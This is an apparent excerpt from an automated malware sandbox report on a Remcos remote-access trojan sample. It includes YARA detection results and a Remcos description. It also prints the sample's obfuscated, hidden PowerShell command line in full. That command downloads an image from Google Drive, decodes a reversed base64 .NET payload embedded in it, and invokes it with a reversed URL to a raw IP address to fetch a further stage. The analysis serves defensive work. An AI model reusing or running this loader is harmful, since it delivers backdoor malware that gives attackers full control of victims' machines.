A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3972 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( $p sHoME[21]+ $PshOmE[30 ]+'x')(('Z kaimageUrl = QCxht'+ 'tps://dri ve.google. com/uc?exp ort=downlo ad&id=1AIV gJJJv1F6'+ 'vS4sUOybn H-sDvUhBYw ur QCx;Zka webClient = New-Obje ct Sy'+'st em.Net.Web Client;Zka imageB'+'y tes = Zkaw ebClient.D ownloadDat a(Zkaimage Url);Zkaim ageText = [Syst'+'em .Text.Enco ding]::UTF 8.GetStrin g(Zkaimage Bytes);Zka startFlag = QCx<'+'< BASE64_STA RT>>QCx;Zk aendFlag = QCx<<BASE 64_END>>QC x;Zkastart Index = Zk aimageText .IndexOf(Z kastartFla g);ZkaendI ndex = Zka imageText. IndexOf(Zk aendFlag'+ ');Zkastar tIndex -ge 0 -an'+'d ZkaendInd ex -gt Z'+ 'kast'+'ar tIndex;Zka startIn'+' dex += Zka startFlag. Length;Zka base64Leng th'+' = Zk aendIndex - Zkastart Index;Zkab ase64Comma nd = Zkaim ageText.Su bstrin'+'g (ZkastartI ndex, '+'Z kabas'+'e6 4Length);Z kabase64Re versed = - join (Zkab ase64Comma nd.ToCharA rray() KN5 ForEach-O bject { Zk '+'a_ })[- 1..-(Zkab' +'as'+'e64 Command.Le ngth)];Zka commandByt es = [Syst em.'+'Conv ert]::From Base'+'64S tring(Zkab ase64Rever sed);Zkalo adedAssemb ly = [Syst em.Reflect ion.Assemb ly]::Load( Zkacomma'+ 'ndBytes); ZkavaiMeth od = [dnli b.IO.Home] .Ge'+'tMet hod(QCxVAI QCx);Zkava iMethod.In voke(Zkanu ll, @(QCxt xt.RRFVGGF R/75/64.64 1.471.701/ /:ptthQCx, QCxdesati vadoQCx, Q C'+'xdesat ivadoQCx, QCxdesativ adoQCx, QC xCas'+'Pol QCx, QCxde sativadoQ' +'Cx, QCxd esativadoQ Cx,QCxdesa tivadoQCx, QCxdesativ adoQCx,QCx desativado QCx,QCxdes ativadoQCx ,QCxdesati vadoQCx,QC x1QCx,QCxd esativadoQ Cx));').rE PLaCe(([cH aR]90+[cHa R]107+[cHa R]97),[sTr Ing][cHaR] 36).rEPLaC e('KN5',[s TrIng][cHa R]124).rEP LaCe(([cHa R]81+[cHaR ]67+[cHaR] 120),[sTrI ng][cHaR]3 9))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
JoeSecurity_WebBrowserPassView | Yara detected WebBrowserPassView password recovery tool | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |